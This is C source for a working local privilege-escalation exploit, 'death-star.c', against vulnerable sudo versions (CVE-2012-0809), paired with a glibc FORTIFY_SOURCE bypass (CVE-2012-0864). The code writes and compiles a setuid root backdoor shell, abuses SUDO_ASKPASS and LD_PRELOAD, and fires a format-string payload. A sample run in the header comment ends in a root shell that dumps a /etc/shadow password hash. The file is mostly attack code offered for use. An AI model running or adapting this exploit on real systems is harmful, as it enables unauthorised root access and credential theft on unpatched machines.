/* death-star.c sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass by aeon - http://infosecabsurdity.wordpress.com/
This PoC exploits: - CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow - CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string Tested on: - Fedora core 16 verne - glibc 2.14.90.14 release - sudo 1.8.1p2 Notes: - This exploit actually turned out very reliable :-) - You can make a cleaner version of this exploit if you smash sudo_debug function pointer or a libc function pointer so you dont write to disk. I wont be releasing that version :-)
References and thanks too: - http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt - http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/ - http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/ - "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt
[aeon@localhost tmp]$ gcc death-star.c -o death-star [aeon@localhost tmp]$ ./death-star [+] Targeting release: 3.1.0-7.fc16.i686.PAE [+] Found vuln glibc version: 2.14.90 [+] Found a vuln sudo version: 1.8.1 [+] Writing backdoor: e.c [+] Compiling backdoor: e [+] Writing SUDO_ASKPASS file: e.sh [+] Press enter when ready...
< -------------- REMOVED -------------->
A�AF@F@F@F@F@' from LD_PRELOAD cannot be preloaded: ignored. %1073825311%21372736 %: settings: = %1073825311%21372736 %: settings: = %1073825311%21372736 %: sudo_mode 1081383169 Sorry, try again. Sorry, try again. Sorry, try again. %20$08n %*482$ %*2850$ %1073741824$: 3 incorrect password attempts %1073886251%21372736 %: policy plugin returns 1081402445 [+] Getting root..! [+] Cleaning system. [+] Launching root shell! sh-4.2# id; uname -a uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux sh-4.2# head -n1 /etc/shadow root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:99999:7::: sh-4.2# */
#include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h>
#define OFFSET 65000 #define NUM_THREADS 0
/* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh"
extern char **environ; struct utsname ver;
void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor();
/* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20];
/* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} };
/* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, };
int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); }
// ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara);
pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } }
int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; };
int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r");
if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; };
int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n";
FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); }
fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r");
if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; }
fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w");
if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); }
fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; };
void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); }
memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS);
// set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); };
void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL};
// trigger the vuln execve(sudo, args, environ); };
void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); };
|